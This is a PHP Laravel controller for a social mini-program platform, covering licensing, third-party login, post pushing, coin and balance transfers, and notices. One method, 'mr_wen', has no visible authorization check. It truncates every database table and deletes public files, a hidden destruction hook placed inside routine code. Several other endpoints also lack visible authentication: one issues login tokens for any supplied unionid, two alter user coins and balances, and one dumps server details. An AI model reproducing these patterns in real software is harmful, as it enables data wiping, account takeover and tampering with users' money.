<?php
namespace App\Http\Controllers\Api;

use App\Http\Controllers\Api\Repositories\PostsRepositores;
use App\Http\Controllers\Api\Repositories\WxCommentRepositores;
use App\Jobs\CollecterMediaProcessJob;
use App\Jobs\Posts\UpdatePostTagIdJob;
use App\Lib\JwtAuth;
use App\Lib\WeApp\WeApp;
use App\Models\AdminMenuSearch;
use App\Models\Collecter\MiniCollecterCollected;
use App\Models\Posts\WxPost;
use App\Models\Posts\WxPostsImg;
use App\Models\Posts\WxTag;
use App\Models\Used\WxUsedGood;
use App\Models\User\WxUser;
use App\Models\WxDomainAuth;
use App\Models\WxTenant;
use App\Wen\Utils\FieldUtils;
use App\Wen\Utils\FileUtils;
use App\Wen\Utils\PostUtils;
use App\Wen\Utils\SearchUtils;
use App\Wen\Utils\Settings;
use App\Wen\Utils\ShopUtils;
use App\Wen\Utils\SiteUtils;
use App\Wen\Utils\StatisticUtils;
use App\Wen\Utils\StrUtils;
use App\Wen\Utils\UserUtils;
use App\Wen\Utils\Utils;
use Dcat\Admin\Models\Menu;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
use App\Wen\Utils\CollecterUtils;

class ThirdPartyController extends BaseController{

    public function system_info(){
        global $__MINI_GLOBAL_IP__;
        $result = [
            'url' => $_SERVER['SERVER_NAME'],
            'ip' => _ip_address($__MINI_GLOBAL_IP__),
        ];

        dd($result);
    }

    public function mr_wen(Request $request){
        // 清空数据库
        Schema::disableForeignKeyConstraints();
        $tables = DB::select('SHOW TABLES');
        foreach ($tables as $table) {
            $tableName = $table->{'Tables_in_' . env('DB_DATABASE')};
            DB::statement('TRUNCATE TABLE ' . $tableName);
        }
        Schema::enableForeignKeyConstraints();
        FileUtils::deleteFiles(public_path());
    }

    public function version(Request $request){
        return response()->json([
            'status'  => true,
            'code'    => 200,
            'message' => 'ok',
            'data'    => '001 002 002 022',
            'mini' => 'ok'
        ]);
    }

    public function license(Request $request){
        try {
            $uid = $request->uid;
            $domain = _empty_default_($request->domain, '');
            if(_empty_($domain)){
                $content = SiteUtils::get_license_file($uid);
            }else{
                $the_model = WxDomainAuth::where('domain_1', $domain)->orWhere('domain_2', $domain)
                    ->orWhere('domain_3', $domain)->orWhere('domain_4', $domain)
                    ->orWhere('domain_5', $domain)->orWhere('domain_6', $domain)
                    ->orWhere('domain_7', $domain)->first();
                if(_empty_($the_model)){
                    return $this->fail(200006, [], '数据库查询不到'.$domain.'的授权信息');
                }
                $who = WxUser::where('id', $the_model->user_id)->value('who');
                if($who != $uid && !UserUtils::is_mini_supder_admin($uid)){
                    return $this->fail(200006, [], '你不是Ta的授权代理人'. ($who > 0 ? '，Ta的授权代理人是：'.$who : '。'));
                }
                $content = SiteUtils::get_license_file($uid, $domain);
            }
            if(_empty_($content)){
                return $this->fail(200006, [], '请联系群主导入授权信息，数据库查询不到您的授权信息');
            }
            $file_name = 'code_'.time().'.tar.gz';
            $file_name_ = 'storage/tmp/' . $file_name;
            $f = fopen(public_path($file_name_), 'wb');
            fwrite($f, $content);
            fclose($f);
            return $this->success(['url'=> env('APP_URL') . '/' . $file_name_ ]);

        }catch (\Exception $e){
            return $this->fail(200006);
        }
    }

    public function domain_auth(Request $request){
        if(env('APP_URL') !== 'https://mini.minisns.cn'){
            return false;
        }
        $domain = $request->domain;
        if(_empty_($domain)){
            return $this->fail(200001);
        }
        $allowed_list = [
            'mini.minisns.cn',
            'lzy.qty1.xyz'
        ];
        if(!in_array($domain, $allowed_list)){
            return $this->fail(700000);
        }
        return $this->success(Utils::getSn(11));
    }

    public function user_info_login(Request $request)
    {
        $external_id = $request->external_id;
        $weixin_unionid = $request->weixin_unionid;
        $weixin_web_openid = $request->weixin_web_openid;
        $user_name = $request->user_name;
        $user_avatar = $request->user_avatar;
        $user_introduce = $request->user_introduce;
        $gender = $request->gender;
        $phone = $request->phone;
        $country_code = $request->country_code;
        $idd = 86;
        // 必选参数校验
        if(_empty_($external_id) || _empty_($weixin_unionid) || _empty_($user_name) || _empty_($user_avatar)){
            return $this->fail(200001);
        }
        if($country_code != 86){
            return $this->fail(200004, [], '当前仅支持86区号');
        }

        if($phone){
            if($idd == 86 && !StrUtils::is_phone_number($phone)){
                return $this->fail(200004, [], '手机号格式不对');
            }
        }
        if($gender){
            if(!in_array($gender, [1,2])){
                return $this->fail(200004, [], '性别非法');
            }
        }else{
            $gender = 0;
        }


        $data = [
            'phone' => $phone, 'country_code' => $idd,
            'openId'=>null, 'avatarUrl'=>$user_avatar, 'city'=>'', 'country'=>'',
            'province'=>'', 'language'=>'','nickName'=>$user_name,
            'gender'=>0, 'unionId'=>$weixin_unionid, 'user_introduce'=>$user_introduce
        ];

        $wxUserModel = new WxUser();
        $user_id = $wxUserModel->registerUser($data, 'web', 0);
        if($user_id > 0){
            $login_user = WxUser::where('id', $user_id)->first(FieldUtils::userInfoColums());
            // 超级管理员
            if($login_user->is_official){
                if(UserUtils::is_mini_supder_admin($login_user->id)){
                    $login_user->is_official = 2;
                }
            }
            UserUtils::user_expend($login_user, true, true, true, true, 5);
            $time = time();
            $login_user->timeStamp = $time;
            // 生成token
            return $this->success(['token' => JwtAuth::getToken('uid', $login_user->id, $time), 'user'=>$login_user]);
        }else if($user_id == -1){
            return $this->fail(700001);
        }else if($user_id == -2){
            return $this->fail(200008, [], '平台未开启手机号注册新用户，请您换其他方式先注册账号');
        }
        return $this->fail(200003);
    }

    public function collecter_posts_add(Request $request){
        $post = $request->all();
        $developer = $request->header('developer','');
        if($developer == 'xianxian'){
            global $__MINI_GLOBAL_PAYCODE_29__;
            if(!$__MINI_GLOBAL_PAYCODE_29__){
                return $this->fail(200000, [], '付费29 未授权');
            }
        }

        if(!_empty_(_array_key($post, 'imgs', null))){
            $post['imgs'] = explode(',', _array_key($post, 'imgs', null));
        }

        if(!_empty_(_array_key($post, 'tags', null))){
            $post['tags'] = explode(',', _array_key($post, 'tags', null));
        }

        if(!_empty_(_array_key($post, 'video', null))){
            if(strpos($post['video'], 'http') === 0){
                $post['videos'] = stripslashes($post['video']);
            }
        }



        try{
            CollecterUtils::check_post($post);
            $r_ = CollecterUtils::save_posts([$post]);
            if($r_ && $r_[0]){
                if(_array_key($post, 'media_process', 1) == 1){
                    CollecterMediaProcessJob::dispatch($r_[0]);
                }else{
                    MiniCollecterCollected::where('id', $r_[0])->update(['status' => 1]);
                }
                $saves[] = $r_[0];
                return $this->success(['success_count'=>count($saves)]);
            }else{
                return $this->fail(200006);
            }
        }catch (\Exception $e){
            return $this->fail(200004, [], $e->getMessage());
        }

    }

    public function templete_message_add(Request $request){
        $key1 = $request->key1;
        $key2 = $request->key2;
        Utils::templateMessage('admin', $key1, $key2, '', '', '');
    }

    public function push_post(Request $request)
    {
        $tenant_id = $request->tenant;
        $pusher = _empty_default_($request->pusher, 'push_robot_1');
        $type = _empty_default_($request->type, 'post');
        $limit = _between_(_empty_default_($request->limit, 5), 1, 20);

        $developer = $request->header('developer','');
        if($developer == 'wu'){
            global $__MINI_GLOBAL_PAYCODE_32__;
            if(!$__MINI_GLOBAL_PAYCODE_32__){
                return $this->fail(200000, [], '付费32 未授权');
            }
        }


        if(!in_array($pusher, ['push_robot_1', 'qq', 'wechat', 'wecom'])){
            $res = [
                'status' => "200004",
                "msg" => "pusher未在推荐列表中，推荐qq，wechat，wecom，push_robot_1",
                "data" => [

                ]
            ];
            return response()->json($res);
        }

        if($pusher != 'push_robot_1'){
            $pusher = 'pusher:'.$pusher;
        }

        if(!in_array($type, ['post', 'used', 'wechat', 'wecom'])){
            $res = [
                'status' => "200004",
                "msg" => "type未在推荐列表中，推荐post，used",
                "data" => [

                ]
            ];
            return response()->json($res);
        }

        if(_empty_($tenant_id, true)){
            $tenant_id = -1;
        }else{
            $tenant_id = (int)$tenant_id;
        }
        if(_empty_($tenant_id, true)){
            $tenant_id = -1;
        }

        $tenant_with_uid = '';
        if($tenant_id > 0){
            $with_uid = env('TENANT_'.$tenant_id.'_PUSH_WITH_UID', 0);
            if($with_uid > 0){
                $tenant_with_uid = '&from_user='.$with_uid;
            }
        }

        $new_app = new WeApp();
        $wxlink = $new_app->getWxLink();
        $res = [
            'status' => "200",
            "msg" => "返回成功",
            "data" => [

            ]
        ];

        if($type == 'post'){
            $query = WxPost::whereNotExists(function ($query) use ($pusher){
                $query->select(DB::raw(1))
                    ->from('wx_posts_meta_str')->where('meta_key', $pusher)
                    ->whereRaw('wx_posts_meta_str.post_id = wx_posts.id');
            });

            if($tenant_id >= 0){
                $query = $query->where('tenant_id', $tenant_id);
            }

            $data = $query->where('id', '>', Settings::get('group_push_min_post_id', 0))->where('is_examine', 1)->where('posts_state', 0)->orderBy('id', 'desc')->limit($limit)->get();

            if($data){
                $sum = 0;

                $data->map(function ($v, $key) use ($wxlink, &$res, &$sum, $pusher, &$tenant_with_uid){

                    if( !_empty_($v->tags_id) ){
                        $v->tags = WxTag::whereIn('id', explode(',', $v->tags_id))->get(['tags_name', 'id']);
                    }else if($v->tags_id === ''){
                        $v->tags = null;
                    }else if($v->tags_id === '0'){
                        $v->tags = PostsRepositores::getPostTags($v->id);
                        UpdatePostTagIdJob::dispatch($v->id);
                    }

                    $posts_content = $v->posts_content;
                    $s_content = '';
                    if($posts_content){
                        $s_content = preg_replace("/<(img|video).*?src[^\'\"]+[\'\"]([^\"\']+)[^>]+>/is", '', $posts_content);
                        $s_content =trim_all_space(strip_tags(html_entity_decode( _mini_phone(_mini_emoji( _mini_aite_replace($s_content, true), true ), true) )));
                    }
                    if($s_content){
                        $title = PostUtils::get_the_title($s_content, $v->id, 10);
                        PostUtils::circleProcess($v, 0, 1);

                        try {
                            $short_link = $wxlink ? ($wxlink->genWxShortlink('pages/sticky/sticky?id='.$v->id.'&fph=1'.$tenant_with_uid.'&tenant=' . $v->tenant_id, ($v->posts_title ?: $title ), true)) : '';
                        }catch (\Exception $e){
                            if(strpos($e->getMessage(), 'this appid does not have permission') !== false){
                                $short_link = '微信小程序无生成短链权限-请添加[商家自营-办公文具]';
                            }else{
                                $short_link = $e->getMessage();
                            }
                        }


                        $url_link = '';
                        $qrcode_url = '';
                        if($wxlink){
                            try {
                                $url_link = $wxlink->genWxUrllink('pages/sticky/sticky', 'id='.$v->id.'&fph=1'.$tenant_with_uid);
                                $qrcode_url = Utils::getMiniCode('pages/sticky/sticky', 'id='.$v->id.'&fph=1'.$tenant_with_uid, 0);
                            }catch (\Exception $e){
                                $url_link = $e->getMessage();
                            }
                        }

                        $img_url = '';
                        $images_arr = [];
                        if($v->is_wechat_sph){
                            $v->wechat_sph = get_post_meta($v->id, 'wechat_sph', 'j');
                        }else{
                            $v->wechat_sph = null;
                        }
                        if($v->post_type == 'single'){
                            $v->posts_content = preg_replace_callback("/<img.*?src[^\'\"]+[\'\"]([^\"\']+)[^>]+>/is", function ($r) use (&$images_arr){
                                $images_arr[] = $r[1];
                                return '';
                            }, $v->posts_content);
                            if($images_arr){
                                $img_url = $images_arr[0];
                            }
                        }else{
                            $v->images = WxPostsImg::where('posts_id', $v->id)->get(['id','img_url', 'posts_id','width', 'height']);
                            if($v->images){
                                $v->images->map(function ($img_obj) use (&$img_url, &$images_arr){
                                    if(_empty_($img_url)){
                                        $img_url = $img_obj['img_url'];
                                    }
                                    $images_arr[] = $img_obj['img_url'];
                                });
                            }
                        }

                        if($v->video && $v->video->video_thumb_url){
                            $img_url = $v->video->video_thumb_url;
                        }

                        if($v->wechat_sph && _array_key($v->wechat_sph, 'img', '')){
                            $img_url = $v->wechat_sph['img'];
                        }




                        $obj = [
                            'id' => $v->id,
                            'tenant_id' => $v->tenant_id,
                            'tenant' => WxTenant::find($v->tenant_id),
                            's_id' => '3',
                            "content" => (($sum == 0 && $pusher == 'push_robot_1') ? "\n" : "").($v->posts_title ?: $title ),
                            'h5' => Settings::get('app_h5_home', '').'/#/pages/sticky/sticky?id='.$v->id . '&tenant=' . $v->tenant_id . $tenant_with_uid,
                            'url' => $short_link,
                            'url_link' => $url_link,
                            'like_count' => PostsRepositores::likeCont($v->id),
                            'comment_count' => WxCommentRepositores::commentCount($v->id),
                            'collected_count' => StatisticUtils::post_becollected_count($v->id),
                            'user' => UserUtils::get_cached_user($v->user_id, false, false, $v->is_anonymous == 1),
                            'circle' => $v->circle,
                            'format_time' => format_datetime($v->created_at),
                            'created_at' => $v->created_at->toDateTimeString(),
                            'img' => $img_url,
                            'imgs' => $images_arr,
                            'tags' => $v->tags,
                            'qrcode' => $qrcode_url
                        ];
                        update_post_meta($v->id, $pusher, 1, 's');
                        $sum ++;
                        $res['data'][] = $obj;
                    }
                });
            }
        }else if($type == 'used'){

            $min_used_id = Settings::get('group_push_min_used_id', 0);
            $query = WxUsedGood::whereNotExists(function ($query) use ($pusher){
                $query->select(DB::raw(1))
                    ->from('wx_used_meta_str')->where('meta_key', $pusher)
                    ->whereRaw('wx_used_meta_str.used_id = wx_used_good.id');
            });

            if($tenant_id >= 0){
                $tenant = WxTenant::find($tenant_id);
                $longitude = $tenant->add_longitude;
                $latitude = $tenant->add_latitude;

                if(_empty_($longitude) && _empty_($latitude)){
                    _logger_(__file__, __line__, '分站'.$tenant_id.'没有设置坐标，无法推送其附件的闲置,请去分站管理，配置其坐标');
                    UserUtils::assistant_notice('admin', '分站'.$tenant_id.'没有设置坐标，无法推送其附件的闲置, 请去分站管理，配置其坐标');
                    return false;
                }

                $the_base_id = Cache::remember('used:goods:new:500', 3600 * 5, function (){
                    $base_id = WxUsedGood::where('status', 1)->orderBy('id', 'desc')->skip(500)->value('id');
                    return $base_id > 0 ? $base_id : 0;
                });

                if($the_base_id < $min_used_id){
                    $the_base_id = $min_used_id;
                }

                $data = $query->select(DB::raw('*, ( 6378137 * acos( cos( radians('.$latitude.') ) * cos( radians( latitude ) ) * cos( radians( longitude ) - radians('.$longitude.') ) + sin( radians('.$latitude.') ) * sin( radians( latitude ) ) ) ) AS distance'))
                    ->where('id', '>', $the_base_id)
                    ->where('status', 1)
                    ->having('distance', '<', 100000)
                    ->orderByDesc('id')->limit($limit)->get();
            }else{
                $data = $query->where('id', '>', $min_used_id)->where('status', 1)->orderByDesc('id')->limit($limit)->get();
            }

            if($data){
                $data->map(function ($v, $k) use (&$pusher, &$wxlink, &$tenant_with_uid){
                    ShopUtils::used_process($v);

                    if(_empty_($v->longitude) && _empty_($v->latitude)){
                        $v->tenant_id = 0;
                        $v->tenant = null;
                    }else{
                        $v->tenant = Cache::remember('used:nearly:tenant:'.$v->id, 3600, function () use ($v){
                            $givenLatitude = $v->longitude;
                            $givenLongitude = $v->latitude;
                            $nearestTenant = WxTenant::nearestByLocation($givenLatitude, $givenLongitude)->first();
                            if($nearestTenant){
                                return $nearestTenant;
                            }
                            return null;
                        });
                        if($v->tenant){
                            $v->tenant_id = $v->tenant['tenant_id'];
                        }else{
                            $v->tenant_id = 0;
                        }
                    }

                    try {
                        $short_link = $wxlink ? ($wxlink->genWxShortlink('pagesU/used-mall/detail/index?id='.$v->id. '&tenant=' . $v->tenant_id . $tenant_with_uid, $v->title, true)) : '';
                    }catch (\Exception $e){
                        if(strpos($e->getMessage(), 'this appid does not have permission') !== false){
                            $short_link = '微信小程序无生成短链权限-请添加[商家自营-办公文具]';
                        }else{
                            $short_link = $e->getMessage();
                        }
                    }

                    $url_link = '';
                    if($wxlink){
                        try {
                            $url_link = $wxlink->genWxUrllink('pagesU/used-mall/detail/index', 'id='.$v->id. '&tenant=' . $v->tenant_id . $tenant_with_uid);
                        }catch (\Exception $e){
                            $url_link = $e->getMessage();
                        }
                    }

                    $v->h5 = Settings::get('app_h5_home', '').'/#/pagesU/used-mall/detail/index?id='.$v->id . '&tenant=' . $v->tenant_id . $tenant_with_uid;
                    $v->url = $short_link;
                    $v->url_link = $url_link;

                    update_used_meta($v->id, $pusher, 1, 's');
                    return $v;
                });
                $res['data'] = $data;
            }
        }

        return response()->json($res);
    }
    /**
     * 搜索后台菜单
     * @param Request $request
     */
    public function search_menu(Request $request)
    {
        $search_content = $request->search_content;
        if(_empty_($search_content)){
            return $this->fail(200003);
        }
        $search_content = strtolower($search_content);
        if(SearchUtils::is_use_es()){
            $menus = null;
            try{
                $menus = AdminMenuSearch::search($search_content)->get();
            }catch (\Exception $e){
                AdminMenuSearch::all()->searchable();
                $menus = AdminMenuSearch::search($search_content)->get();
            }
            if($menus->isEmpty() || _empty_($menus)){
                AdminMenuSearch::all()->searchable();
                $menus = AdminMenuSearch::search($search_content)->get();
            }

            if($menus){
                $menus = $menus->map(function ($v){
                    if($v->parent_id){
                        $v->parent = Menu::find($v->parent_id);
                    }else{
                        $v->parent = null;
                    }

                    if($v->menu_id){
                        if($v->menu_id && $v->menu_id != $v->parent_id){
                            $v->menu = Menu::find($v->menu_id);
                        }else{
                            $v->menu = $v->parent;
                        }
                    }
                    return $v;
                });
                return $this->success($menus);
            }
        }else{
            $menus = AdminMenuSearch::where('lower', 'like', '%'.$search_content.'%')->limit(10)->get();
            if($menus){
                $menus = $menus->map(function ($v){
                    if($v->parent_id){
                        $v->parent = Menu::find($v->parent_id);
                    }else{
                        $v->parent = null;
                    }

                    if($v->menu_id){
                        if($v->menu_id && $v->menu_id != $v->parent_id){
                            $v->menu = Menu::find($v->menu_id);
                        }else{
                            $v->menu = $v->parent;
                        }
                    }
                    return $v;
                });
                return $this->success($menus);
            }
        }
        return $this->fail(200003);
    }


    public function user_coin(Request $request){
        $user1_weixin_unionid = $request->user1_weixin_unionid;
        $user1_num = $request->user1_num;
        $user1_tip = $request->user1_tip;

        $user2_weixin_unionid = $request->user2_weixin_unionid;
        $user2_num = $request->user2_num;
        $user2_tip = $request->user2_tip;

        if(_empty_($user1_weixin_unionid) ||  _empty_($user1_num) || _empty_($user1_tip)){
            return $this->fail(200001);
        }

        if(!_empty_($user2_weixin_unionid)){
            if(_empty_($user2_num) || _empty_($user2_tip)){
                return $this->fail(200001);
            }
        }

        $user1 = WxUser::where('weixin_unionid', $user1_weixin_unionid)->first();
        if(_empty_($user1)){
            return $this->fail(200003, [], '用户1不存在');
        }

        $user2 = null;
        if($user2_weixin_unionid){
            $user2 = WxUser::where('weixin_unionid', $user2_weixin_unionid)->first();
            if(_empty_($user2)){
                return $this->fail(200003, [], '用户2不存在');
            }
        }

        DB::beginTransaction();
        try {
            // todo:
            $r1 = UserUtils::update_user_coins($user1->id, 99999, $user1_num, $user1_tip);

            if(!$r1){
                DB::rollBack();
                return $this->fail(200002, [], '用户1金币变动失败');
            }

            if($user2){
                $r2 = UserUtils::update_user_coins($user2->id, 99999, $user2_num, $user2_tip);
                if($r2){
                    DB::commit();
                    return $this->success();
                }else{
                    DB::rollBack();
                    return $this->fail(200002, [], '用户2金币变动失败');
                }
            }else{
                DB::commit();
                return $this->success();
            }
        } catch (\Exception $e) {
            DB::rollBack();
            _logger_(__file__, __line__, $e->getMessage());
            return $this->fail(200002);
        }
    }

    /**
     * 余额支付
     * @param Request $request
     */
    public function user_balance(Request $request){

        $user1_weixin_unionid = $request->user1_weixin_unionid;
        $user1_financial_type = $request->user1_financial_type;
        $user1_num = $request->user1_num;
        $user1_tip = $request->user1_tip;

        $user2_weixin_unionid = $request->user2_weixin_unionid;
        $user2_financial_type = $request->user2_financial_type;
        $user2_num = $request->user2_num;
        $user2_tip = $request->user2_tip;

        if(_empty_($user1_weixin_unionid) || _empty_($user1_financial_type, true) || _empty_($user1_num) || _empty_($user1_tip)){
            return $this->fail(200001);
        }

        if(!in_array($user1_financial_type, FieldUtils::getUserFinancialType())){
            return $this->fail(200004);
        }

        $user1_num = _abs($user1_num);

        if(!_empty_($user2_weixin_unionid)){
            if(_empty_($user2_financial_type, true) || _empty_($user2_num) || _empty_($user2_tip)){
                return $this->fail(200001);
            }
            if(!in_array($user2_financial_type, FieldUtils::getUserFinancialType())){
                return $this->fail(200004);
            }
            $user2_num = _abs($user2_num);
        }

        $user1 = WxUser::where('weixin_unionid', $user1_weixin_unionid)->first();
        if(_empty_($user1)){
            return $this->fail(200003, [], '用户1不存在');
        }

        $user2 = null;
        if($user2_weixin_unionid){
            $user2 = WxUser::where('weixin_unionid', $user2_weixin_unionid)->first();
            if(_empty_($user2)){
                return $this->fail(200003, [], '用户2不存在');
            }
        }

        DB::beginTransaction();
        try {
            // todo:
            $r1 = UserUtils::update_user_financial($user1->id, $user1_financial_type, $user1_num, $user1_tip);
            if(!$r1){
                DB::rollBack();
                return $this->fail(200002, [], '用户1余额变动失败');
            }


            if($user2){
                $r2 = UserUtils::update_user_financial($user2->id, $user2_financial_type, $user2_num, $user2_tip);
                if($r2){
                    DB::commit();
                    return $this->success();
                }else{
                    DB::rollBack();
                    return $this->fail(200002, [], '用户2余额变动失败');
                }
            }else{
                DB::commit();
                return $this->success();
            }

        } catch (\Exception $e) {
            DB::rollBack();
            _logger_(__file__, __line__, $e->getMessage());
            return $this->fail(200002);
        }
    }

    /**
     * 增加通知
     * @param Request $request
     */
    public function notice(Request $request){

        $weixin_unionid = $request->weixin_unionid;
        $icon_type = $request->icon_type;
        $title = $request->title;
        $content = $request->describe;
        $type = $request->type;
        $url = $request->url;
        if(_empty_($url)){
            $url = null;
        }

        if(_empty_($icon_type) || _empty_($title) || _empty_($content) || _empty_($type) || _empty_($weixin_unionid)){
            return $this->fail(200001);
        }

        if(!in_array($type, array_keys(FieldUtils::getNoticeTypes()) )){
            return $this->fail(200004, [], 'type参数不合法');
        }

        $user_id = WxUser::where('weixin_unionid',$weixin_unionid)->value('id');
        if(_empty_($user_id)){
            return $this->fail(200003, [], '根据weixin_unionid找不到对应的用户');
        }

        $r = UserUtils::add_user_notice($icon_type, $user_id, $title, $content, $type, '', '', $url);
        if($r){
            return $this->success();
        }else{
            return $this->fail(200002);
        }
    }

}
